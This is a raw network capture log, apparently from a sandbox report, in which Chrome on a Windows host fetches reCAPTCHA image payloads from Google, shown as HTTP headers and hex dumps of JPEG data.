2024-04-24 12:44:40 UTC	1174	OUT	GET /recaptcha/api2/payload?p=06AFcWeA4_2t6WCU1nG3S-uFh1AoanZylSh2gX5aiCzj47soDLxJFFrcfMGiH13riGLCyzWNyTlS0K7_weL3jT4x94KnK76o944QkY9Cx2b8QUdS3NuJw1nUiWRbZl2go73tEGjbXOvHs5IcjVARjWnxSj85oSOVJ9yh4dgHtnXLQxLp9BH4JuMir12r4Oed83TFsBICmCFLXddQPHnYrE6bjjcjjxTspCfw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
2024-04-24 12:44:41 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:44:40 GMT Date: Wed, 24 Apr 2024 12:44:40 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:44:41 UTC	6	IN	Data Raw: 37 32 33 43 0d 0a Data Ascii: 723C
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: 7a 56 56 5b f3 17 77 d8 7c ba 14 53 06 94 cc bb 4a e3 e5 e0 8f c6 b1 f5 2b 29 60 31 da d9 bb 17 73 9f 33 1f 28 1e fe 86 ae df 4f 34 12 0b 4b 94 21 c0 ca 84 3c 11 f5 e9 f9 d4 16 d2 5e 24 e2 38 ad ed 83 39 1b 49 6d cc 07 a9 1f e1 9a de 0e 4b 5b 99 cb 95 e9 63 3e 3b 7d 56 09 8a ce ee 70 01 0e a3 fc 8a 61 37 d7 12 79 4c d2 cc 8c 76 fd d0 07 e7 8c 57 68 34 c8 5d 77 48 1a 69 71 f7 99 30 b9 f5 da 78 ae 6f c5 7a a5 ae 84 22 88 cb 04 b3 e3 fd 44 63 e7 c7 62 7d 07 d7 f5 a7 1c 4a 93 db 50 74 5a 45 eb 3d 2a de c3 4c 90 25 e2 47 28 53 23 c8 5f 20 ff 00 bc 4f 18 ae 27 58 f1 db 59 33 d9 e8 91 db cb 7a 78 92 ed 90 79 71 7b 8c f2 de df e1 cd 73 9a de b3 a8 eb ce ca 6e 1a 2b 4c f4 43 85 ff 00 80 ff 00 78 ff 00 b4 72 3d 3d b2 6e ee 34 dd 22 dc bc f2 c3 6b 18 c9 cb 1f 99 bd Data Ascii: zVV[w\|SJ+)`1s3(O4K!<^$89ImK[c>;}Vpa7yLvWh4]wHiq0xoz"Dcb}JPtZE=*L%G(S#_ O'XY3zxyq{sn+LCxr==n4"k
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: 5a 82 23 40 8f c7 9d b3 76 e0 a7 b9 01 c7 1d 7a fa 57 aa b3 bc f8 58 dd 4b 1e cb 9c d7 cd d6 be 0f b7 f1 85 ec 6b 75 af cb a4 dd da 03 2d b4 c9 18 90 97 24 1e 99 0d d8 72 0f 1d eb d3 2d bc 5d 2f 80 59 f4 8f 1c eb 36 9a 9d ec 00 79 73 58 16 79 a4 4e 31 e6 c7 8c ab 7c c3 e6 ce 0f d7 af d7 65 95 14 30 91 e6 f3 fc d9 9c 97 53 b8 90 c8 a0 b9 76 c0 fc 31 56 56 2b a5 8e 39 01 6b 80 40 20 a0 c8 1e c7 15 91 a0 78 9f c3 5e 23 9a 49 74 5b 87 79 55 43 c9 0b c6 56 44 c9 c6 79 1c 8f a6 6b 7a d2 e2 58 d1 9a 31 26 c0 70 32 78 af 4d 55 53 8a 94 75 44 24 ae 4c da ac 91 a2 02 88 9c 72 49 fd 2a 41 a8 40 48 69 64 05 7b 77 3f e1 fa 56 7e a1 28 90 b3 24 09 b8 f2 54 b7 15 5a d6 2b 4b b9 04 73 5b cd 6f 8e 37 27 4c ff 00 2a 8e 55 b9 aa 66 d6 a1 68 35 28 63 7b 79 14 85 cf 53 58 5a Data Ascii: Z#@vzWXKku-$r-]/Y6ysXyN1\|e0Sv1VV+9k@ x^#It[yUCVDykzX1&p2xMUSuD$LrIA@Hid{w?V~($TZ+Ks[o7'LUfh5(c{ySXZ
2024-04-24 12:44:41 UTC	333	IN	Data Raw: f6 f5 3e 95 d0 fe cf 13 40 3c 07 34 4c 59 a6 5b c7 32 6e eb 92 17 15 e8 62 6a 3a 70 bc 4f 9d c9 f0 d0 af 5b df e9 d0 cf 5f 82 5a 1c 67 23 58 d4 c4 98 e5 b7 27 27 18 27 1b 7f 4a 8a 5f 82 9a 4c 8a 15 b5 8b fd c0 00 18 22 0e 9d f1 8c 66 bd 59 99 4f a7 b5 28 db 5e 44 a0 a4 ee cf b4 8d 28 45 59 23 ca a2 f8 29 a3 a4 de 6b 6b 9a 93 9e 80 11 19 c0 f6 f9 68 3f 03 b4 26 f9 53 5b d5 54 96 de 4e 50 fe 18 db 8c 57 ab 8c 75 c5 2a f4 e3 15 3e ca 1d 83 d9 c7 b1 e5 53 7c 13 d2 9d 97 76 bb a8 6d 5c 7c a4 27 38 f7 c5 36 5f 82 3a 6c 92 16 3a fd fe 0b 64 82 89 8f e5 5e b3 bb 8c 60 51 91 91 91 cd 2f 61 0e c0 e1 1e c7 8a 6b 7f 0e bc 3f e1 bb fb 09 2e 35 3b 8b dd 42 e2 52 f6 86 66 21 94 a0 05 b6 85 e0 fd e1 d7 db 15 c8 f8 ff 00 c2 ba 85 ce ad 73 a8 47 ab c9 25 de a2 49 71 22 90 Data Ascii: >@<4LY[2nbj:pO[_Zg#X'''J_L"fYO(^D(EY#)kkh?&S[TNPWu*>S\|vm\\|'86_:l:d^`Q/ak?.5;BRf!sG%Iq"
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: 1d d7 a1 bc b5 d4 52 29 a2 60 64 56 e1 59 32 4b 2b 04 27 23 e5 e9 ec 3d ab bc d6 3e 38 43 69 af 41 69 2e 93 0f d9 a5 66 05 e0 ba 6c 8e 71 dd 71 8f 7e 86 a0 f8 5d e1 db bd 53 c3 16 be 2e d5 ee 8d 91 be 95 e3 81 15 9d d4 a0 57 19 da 73 86 ca bf 07 8c 0f 73 5c 67 88 3c 27 a7 6a 52 8d 4d a5 31 cd 0a 6c b7 e4 08 67 28 e7 24 b0 e4 60 1e 98 ef 8c f1 5b 50 53 84 6d b7 a1 9d 58 42 fe e1 ea 5a 77 c6 2f 0e cf aa 35 aa 58 5d c8 8c e2 24 94 15 65 67 27 00 1c 7d 7d eb 56 e7 c4 71 4c 9a 8c 12 de 2d ac 70 4a 0a b3 33 6d 01 02 b3 60 a1 ec 78 f7 fd 2b c3 d7 46 b3 b0 9a 75 be 79 2d 6e a1 19 95 2c d9 77 c5 32 9d c0 61 9c 61 4f f7 80 38 24 d4 17 1e 33 d2 bc 3b a7 c5 15 e6 99 ad dd cc c7 7e 18 2c 41 b2 73 86 20 9e 0e ee dc f0 7a 62 b4 a3 5a 6f 9b 99 6c 4f b2 7a 1d 2e af ac 6b Data Ascii: R)`dVY2K+'#=>8CiAi.flqq~]S.Wss\g<'jRM1lg($`[PSmXBZw/5X]$eg'}}VqL-pJ3m`x+Fuy-n,w2aaO8$3;~,As zbZolOz.k
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: 6b aa db 24 37 33 b5 ac 11 b8 04 36 0e 70 dc 74 3d f8 ae 33 40 bc d1 fc 11 af c5 e5 6b 37 72 cb 79 38 4b 88 d8 04 85 62 04 e5 8a e4 9c 8e a0 fe 1d eb ab 11 6a b0 69 74 3c 5c 96 a7 d5 eb fb fd 74 3d a4 29 e6 94 71 eb 5c 1e ad f1 87 c0 9a 7f 96 af ac c5 33 3b 60 88 95 9f 03 19 c9 c0 ae 13 c4 df b4 25 9e 0c 5a 0d a1 00 83 fb db 84 39 fc 06 7f 9d 79 b1 8b 67 d9 4e ac 23 bb 3d e5 72 46 68 66 0a 3a d7 ce b6 bf 1d 6f de 44 2d 74 98 e4 15 fb 30 c7 5e 3f ad 74 de 1f f8 ca f7 b7 d0 c3 71 15 b3 42 4e 24 91 61 75 65 1f 9d 39 c3 92 3c cd a2 23 88 83 3d 91 5b be 45 38 37 3d 47 35 e7 77 ff 00 13 34 a1 1b 2d 8f 9c f2 0c 03 f2 74 fc ea ad af c5 58 19 dd 5a ce 4d a1 c1 5f 52 b9 e7 f1 e0 d7 37 d6 29 a7 6b 97 ed 21 dc ca fd a6 7c 39 aa 78 91 34 4b 7d 2e c2 5b 89 23 82 f0 f9 Data Ascii: k$736pt=3@k7ry8Kbjit<\t=)q\3;`%Z9ygN#=rFhf:oD-t0^?tqBN$aue9<#=[E87=G5w4-tXZM_R7)k!\|9x4K}.[#
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: 2c 71 04 28 bb 87 27 eb 4e 67 19 1c 20 19 f4 ae 85 a2 3c f9 37 27 73 2f c5 97 d7 36 da 1c c7 4f 28 97 d3 1f 2a d8 4a ea a1 9c 82 40 07 38 cf 06 bc de e7 55 d4 2c ac 2d ed 2e f4 8d 43 ed 69 1a a4 81 62 67 19 1f ed 77 ae c3 e2 96 ad a1 69 fe 16 99 75 bb 26 be 86 63 88 ad d7 e5 dc e0 64 1d c3 05 40 f5 af 9b 8f 8b fc 4d 6c ce 96 ba dd fc 51 12 76 22 dd 3e 14 7a 72 6b ca cc b0 72 c4 b8 ea ac ba 6a 7a 79 7e 2f ea c9 b5 bb 3d 2b 50 8f 57 9e 2f 32 1d 2e e5 63 65 08 f2 34 8b 09 8d 7b b8 24 e7 20 1c d7 a7 78 06 6b 63 e1 4b 28 ad a6 96 ea 28 91 a2 49 59 f7 6e 0a c4 75 ef d3 19 f6 af 98 74 df 10 5e dd eb 76 f3 6b cf 77 ac da 44 db e5 b5 92 e9 c0 94 0e d9 24 e0 67 15 f5 57 87 75 0d 3a ff 00 41 b2 bb b0 b4 8a de 09 61 56 48 94 00 23 18 fb b8 1c 0c 74 e2 9e 5d 85 78 76 Data Ascii: ,q('Ng <7's/6O(*J@8U,-.Cibgwiu&cd@MlQv">zrkrjzy~/=+PW/2.ce4{$ xkcK((IYnut^vkwD$gWu:AaVH#t]xv
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: 1b b2 86 fa 07 07 69 3f 5c 57 4f 1d e4 21 0e dc 87 3c 6d c1 07 f2 35 df 4a b2 aa b4 7b 1c 95 60 e1 ba 2a c9 ad e9 ed 27 97 2c b3 5b 22 7f ac 33 42 ea 07 b1 62 30 3f 3a c1 54 6f 18 78 81 17 0a 9a 4d 8b f0 b9 1f bd 61 d8 fa 67 df b7 b9 ad 9d 66 f9 e0 80 41 0a 66 e2 e0 ec c9 1c 29 f5 63 d8 01 cd 58 f0 fd 8a 69 5a 74 76 a8 54 aa 9c 9d bc 6e 27 ab 7e 3f e7 a5 15 25 6d 0d 30 d4 b9 dd fa 23 42 f6 78 6c ed 8b b0 77 39 c0 44 04 e4 9e 83 da 9d a5 5b 15 b6 12 37 fa d7 3b df ea 7f c3 a7 e1 59 6b 72 f7 b7 8c 50 62 de 26 2a 99 fe 26 ee 7e 83 91 fe 45 6a 3d d1 84 24 78 1f 77 d6 aa 95 3b 13 89 ad cf 2b 2d 91 35 f5 d3 c3 1e 76 e4 ff 00 2a e3 75 bf 10 c9 66 ce ff 00 2e 00 c6 31 9c d6 ae ad 79 2c 88 40 20 2f b5 72 3a b4 16 b7 25 84 e3 cc 60 33 8d c7 02 b6 71 7d 0e 54 d1 c2 Data Ascii: i?\WO!<m5J{`',["3Bb0?:ToxMagfAf)cXiZtvTn'~?%m0#Bxlw9D[7;YkrPb&&~Ej=$xw;+-5v*uf.1y,@ /r:%`3q}T
2024-04-24 12:44:41 UTC	1255	IN	Data Raw: d8 6a 96 96 f3 3c 53 45 70 c9 ca c6 91 3a 96 fd 48 ac 7b 4d 4e ee 7b 51 34 df 66 b6 6d e5 1a 39 26 e4 10 7e 9d 6b a5 59 1e 66 a6 b5 fd ec 41 42 bb 0c 9e d8 e9 59 57 16 4d 75 8d 8e 00 63 c6 d1 fc e9 26 37 33 67 f7 70 96 f4 f3 08 c7 3d 70 57 da ac 5b 7d b6 15 56 90 4b e4 c6 7e 66 58 db 6b 0c 74 24 ae 30 3d 69 39 5c 2c 57 8f c2 a0 9c b4 80 1e bd 33 52 7f c2 31 1b c8 ab 24 a1 f6 f6 db c7 e5 57 bf b5 2d e1 8c 5c 3c 90 88 8f 43 e6 af cd f4 e7 9a 92 3d 50 c9 0b 4f 1d bd cc e8 07 0c 96 cc 41 fa 63 af e1 49 c5 02 6c 92 0d 1e d6 00 b9 81 7e 5f e2 f5 ad 18 a2 8e 38 76 c7 5c fc be 23 82 72 b1 c1 71 19 04 85 0a 00 24 9f 4c 67 af b5 6b aa ea 22 25 7f b3 cc 57 1d 36 60 fe 23 a8 a4 a2 90 36 cb 32 00 a8 00 1f 8d 42 59 73 d4 fe 55 04 ef 7e 5d 14 c5 20 2f 92 31 19 23 8f 52 Data Ascii: j<SEp:H{MN{Q4fm9&~kYfABYWMuc&73gp=pW[}VK~fXkt$0=i9\,W3R1$W-\<C=POAcIl~_8v\#rq$Lgk"%W6`#62BYsU~] /1#R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49909	142.250.141.103	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:42 UTC	842	OUT	GET /recaptcha/api2/payload?p=06AFcWeA4_2t6WCU1nG3S-uFh1AoanZylSh2gX5aiCzj47soDLxJFFrcfMGiH13riGLCyzWNyTlS0K7_weL3jT4x94KnK76o944QkY9Cx2b8QUdS3NuJw1nUiWRbZl2go73tEGjbXOvHs5IcjVARjWnxSj85oSOVJ9yh4dgHtnXLQxLp9BH4JuMir12r4Oed83TFsBICmCFLXddQPHnYrE6bjjcjjxTspCfw&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
2024-04-24 12:44:42 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Wed, 24 Apr 2024 12:44:42 GMT Date: Wed, 24 Apr 2024 12:44:42 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:44:42 UTC	6	IN	Data Raw: 37 32 33 43 0d 0a Data Ascii: 723C
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 2c 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C,,"}!1AQa"q2
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: 7a 56 56 5b f3 17 77 d8 7c ba 14 53 06 94 cc bb 4a e3 e5 e0 8f c6 b1 f5 2b 29 60 31 da d9 bb 17 73 9f 33 1f 28 1e fe 86 ae df 4f 34 12 0b 4b 94 21 c0 ca 84 3c 11 f5 e9 f9 d4 16 d2 5e 24 e2 38 ad ed 83 39 1b 49 6d cc 07 a9 1f e1 9a de 0e 4b 5b 99 cb 95 e9 63 3e 3b 7d 56 09 8a ce ee 70 01 0e a3 fc 8a 61 37 d7 12 79 4c d2 cc 8c 76 fd d0 07 e7 8c 57 68 34 c8 5d 77 48 1a 69 71 f7 99 30 b9 f5 da 78 ae 6f c5 7a a5 ae 84 22 88 cb 04 b3 e3 fd 44 63 e7 c7 62 7d 07 d7 f5 a7 1c 4a 93 db 50 74 5a 45 eb 3d 2a de c3 4c 90 25 e2 47 28 53 23 c8 5f 20 ff 00 bc 4f 18 ae 27 58 f1 db 59 33 d9 e8 91 db cb 7a 78 92 ed 90 79 71 7b 8c f2 de df e1 cd 73 9a de b3 a8 eb ce ca 6e 1a 2b 4c f4 43 85 ff 00 80 ff 00 78 ff 00 b4 72 3d 3d b2 6e ee 34 dd 22 dc bc f2 c3 6b 18 c9 cb 1f 99 bd Data Ascii: zVV[w\|SJ+)`1s3(O4K!<^$89ImK[c>;}Vpa7yLvWh4]wHiq0xoz"Dcb}JPtZE=*L%G(S#_ O'XY3zxyq{sn+LCxr==n4"k
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: 5a 82 23 40 8f c7 9d b3 76 e0 a7 b9 01 c7 1d 7a fa 57 aa b3 bc f8 58 dd 4b 1e cb 9c d7 cd d6 be 0f b7 f1 85 ec 6b 75 af cb a4 dd da 03 2d b4 c9 18 90 97 24 1e 99 0d d8 72 0f 1d eb d3 2d bc 5d 2f 80 59 f4 8f 1c eb 36 9a 9d ec 00 79 73 58 16 79 a4 4e 31 e6 c7 8c ab 7c c3 e6 ce 0f d7 af d7 65 95 14 30 91 e6 f3 fc d9 9c 97 53 b8 90 c8 a0 b9 76 c0 fc 31 56 56 2b a5 8e 39 01 6b 80 40 20 a0 c8 1e c7 15 91 a0 78 9f c3 5e 23 9a 49 74 5b 87 79 55 43 c9 0b c6 56 44 c9 c6 79 1c 8f a6 6b 7a d2 e2 58 d1 9a 31 26 c0 70 32 78 af 4d 55 53 8a 94 75 44 24 ae 4c da ac 91 a2 02 88 9c 72 49 fd 2a 41 a8 40 48 69 64 05 7b 77 3f e1 fa 56 7e a1 28 90 b3 24 09 b8 f2 54 b7 15 5a d6 2b 4b b9 04 73 5b cd 6f 8e 37 27 4c ff 00 2a 8e 55 b9 aa 66 d6 a1 68 35 28 63 7b 79 14 85 cf 53 58 5a Data Ascii: Z#@vzWXKku-$r-]/Y6ysXyN1\|e0Sv1VV+9k@ x^#It[yUCVDykzX1&p2xMUSuD$LrIA@Hid{w?V~($TZ+Ks[o7'LUfh5(c{ySXZ
2024-04-24 12:44:42 UTC	333	IN	Data Raw: f6 f5 3e 95 d0 fe cf 13 40 3c 07 34 4c 59 a6 5b c7 32 6e eb 92 17 15 e8 62 6a 3a 70 bc 4f 9d c9 f0 d0 af 5b df e9 d0 cf 5f 82 5a 1c 67 23 58 d4 c4 98 e5 b7 27 27 18 27 1b 7f 4a 8a 5f 82 9a 4c 8a 15 b5 8b fd c0 00 18 22 0e 9d f1 8c 66 bd 59 99 4f a7 b5 28 db 5e 44 a0 a4 ee cf b4 8d 28 45 59 23 ca a2 f8 29 a3 a4 de 6b 6b 9a 93 9e 80 11 19 c0 f6 f9 68 3f 03 b4 26 f9 53 5b d5 54 96 de 4e 50 fe 18 db 8c 57 ab 8c 75 c5 2a f4 e3 15 3e ca 1d 83 d9 c7 b1 e5 53 7c 13 d2 9d 97 76 bb a8 6d 5c 7c a4 27 38 f7 c5 36 5f 82 3a 6c 92 16 3a fd fe 0b 64 82 89 8f e5 5e b3 bb 8c 60 51 91 91 91 cd 2f 61 0e c0 e1 1e c7 8a 6b 7f 0e bc 3f e1 bb fb 09 2e 35 3b 8b dd 42 e2 52 f6 86 66 21 94 a0 05 b6 85 e0 fd e1 d7 db 15 c8 f8 ff 00 c2 ba 85 ce ad 73 a8 47 ab c9 25 de a2 49 71 22 90 Data Ascii: >@<4LY[2nbj:pO[_Zg#X'''J_L"fYO(^D(EY#)kkh?&S[TNPWu*>S\|vm\\|'86_:l:d^`Q/ak?.5;BRf!sG%Iq"
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: 1d d7 a1 bc b5 d4 52 29 a2 60 64 56 e1 59 32 4b 2b 04 27 23 e5 e9 ec 3d ab bc d6 3e 38 43 69 af 41 69 2e 93 0f d9 a5 66 05 e0 ba 6c 8e 71 dd 71 8f 7e 86 a0 f8 5d e1 db bd 53 c3 16 be 2e d5 ee 8d 91 be 95 e3 81 15 9d d4 a0 57 19 da 73 86 ca bf 07 8c 0f 73 5c 67 88 3c 27 a7 6a 52 8d 4d a5 31 cd 0a 6c b7 e4 08 67 28 e7 24 b0 e4 60 1e 98 ef 8c f1 5b 50 53 84 6d b7 a1 9d 58 42 fe e1 ea 5a 77 c6 2f 0e cf aa 35 aa 58 5d c8 8c e2 24 94 15 65 67 27 00 1c 7d 7d eb 56 e7 c4 71 4c 9a 8c 12 de 2d ac 70 4a 0a b3 33 6d 01 02 b3 60 a1 ec 78 f7 fd 2b c3 d7 46 b3 b0 9a 75 be 79 2d 6e a1 19 95 2c d9 77 c5 32 9d c0 61 9c 61 4f f7 80 38 24 d4 17 1e 33 d2 bc 3b a7 c5 15 e6 99 ad dd cc c7 7e 18 2c 41 b2 73 86 20 9e 0e ee dc f0 7a 62 b4 a3 5a 6f 9b 99 6c 4f b2 7a 1d 2e af ac 6b Data Ascii: R)`dVY2K+'#=>8CiAi.flqq~]S.Wss\g<'jRM1lg($`[PSmXBZw/5X]$eg'}}VqL-pJ3m`x+Fuy-n,w2aaO8$3;~,As zbZolOz.k
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: 6b aa db 24 37 33 b5 ac 11 b8 04 36 0e 70 dc 74 3d f8 ae 33 40 bc d1 fc 11 af c5 e5 6b 37 72 cb 79 38 4b 88 d8 04 85 62 04 e5 8a e4 9c 8e a0 fe 1d eb ab 11 6a b0 69 74 3c 5c 96 a7 d5 eb fb fd 74 3d a4 29 e6 94 71 eb 5c 1e ad f1 87 c0 9a 7f 96 af ac c5 33 3b 60 88 95 9f 03 19 c9 c0 ae 13 c4 df b4 25 9e 0c 5a 0d a1 00 83 fb db 84 39 fc 06 7f 9d 79 b1 8b 67 d9 4e ac 23 bb 3d e5 72 46 68 66 0a 3a d7 ce b6 bf 1d 6f de 44 2d 74 98 e4 15 fb 30 c7 5e 3f ad 74 de 1f f8 ca f7 b7 d0 c3 71 15 b3 42 4e 24 91 61 75 65 1f 9d 39 c3 92 3c cd a2 23 88 83 3d 91 5b be 45 38 37 3d 47 35 e7 77 ff 00 13 34 a1 1b 2d 8f 9c f2 0c 03 f2 74 fc ea ad af c5 58 19 dd 5a ce 4d a1 c1 5f 52 b9 e7 f1 e0 d7 37 d6 29 a7 6b 97 ed 21 dc ca fd a6 7c 39 aa 78 91 34 4b 7d 2e c2 5b 89 23 82 f0 f9 Data Ascii: k$736pt=3@k7ry8Kbjit<\t=)q\3;`%Z9ygN#=rFhf:oD-t0^?tqBN$aue9<#=[E87=G5w4-tXZM_R7)k!\|9x4K}.[#
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: 2c 71 04 28 bb 87 27 eb 4e 67 19 1c 20 19 f4 ae 85 a2 3c f9 37 27 73 2f c5 97 d7 36 da 1c c7 4f 28 97 d3 1f 2a d8 4a ea a1 9c 82 40 07 38 cf 06 bc de e7 55 d4 2c ac 2d ed 2e f4 8d 43 ed 69 1a a4 81 62 67 19 1f ed 77 ae c3 e2 96 ad a1 69 fe 16 99 75 bb 26 be 86 63 88 ad d7 e5 dc e0 64 1d c3 05 40 f5 af 9b 8f 8b fc 4d 6c ce 96 ba dd fc 51 12 76 22 dd 3e 14 7a 72 6b ca cc b0 72 c4 b8 ea ac ba 6a 7a 79 7e 2f ea c9 b5 bb 3d 2b 50 8f 57 9e 2f 32 1d 2e e5 63 65 08 f2 34 8b 09 8d 7b b8 24 e7 20 1c d7 a7 78 06 6b 63 e1 4b 28 ad a6 96 ea 28 91 a2 49 59 f7 6e 0a c4 75 ef d3 19 f6 af 98 74 df 10 5e dd eb 76 f3 6b cf 77 ac da 44 db e5 b5 92 e9 c0 94 0e d9 24 e0 67 15 f5 57 87 75 0d 3a ff 00 41 b2 bb b0 b4 8a de 09 61 56 48 94 00 23 18 fb b8 1c 0c 74 e2 9e 5d 85 78 76 Data Ascii: ,q('Ng <7's/6O(*J@8U,-.Cibgwiu&cd@MlQv">zrkrjzy~/=+PW/2.ce4{$ xkcK((IYnut^vkwD$gWu:AaVH#t]xv
2024-04-24 12:44:42 UTC	1255	IN	Data Raw: 1b b2 86 fa 07 07 69 3f 5c 57 4f 1d e4 21 0e dc 87 3c 6d c1 07 f2 35 df 4a b2 aa b4 7b 1c 95 60 e1 ba 2a c9 ad e9 ed 27 97 2c b3 5b 22 7f ac 33 42 ea 07 b1 62 30 3f 3a c1 54 6f 18 78 81 17 0a 9a 4d 8b f0 b9 1f bd 61 d8 fa 67 df b7 b9 ad 9d 66 f9 e0 80 41 0a 66 e2 e0 ec c9 1c 29 f5 63 d8 01 cd 58 f0 fd 8a 69 5a 74 76 a8 54 aa 9c 9d bc 6e 27 ab 7e 3f e7 a5 15 25 6d 0d 30 d4 b9 dd fa 23 42 f6 78 6c ed 8b b0 77 39 c0 44 04 e4 9e 83 da 9d a5 5b 15 b6 12 37 fa d7 3b df ea 7f c3 a7 e1 59 6b 72 f7 b7 8c 50 62 de 26 2a 99 fe 26 ee 7e 83 91 fe 45 6a 3d d1 84 24 78 1f 77 d6 aa 95 3b 13 89 ad cf 2b 2d 91 35 f5 d3 c3 1e 76 e4 ff 00 2a e3 75 bf 10 c9 66 ce ff 00 2e 00 c6 31 9c d6 ae ad 79 2c 88 40 20 2f b5 72 3a b4 16 b7 25 84 e3 cc 60 33 8d c7 02 b6 71 7d 0e 54 d1 c2 Data Ascii: i?\WO!<m5J{`',["3Bb0?:ToxMagfAf)cXiZtvTn'~?%m0#Bxlw9D[7;YkrPb&&~Ej=$xw;+-5v*uf.1y,@ /r:%`3q}T
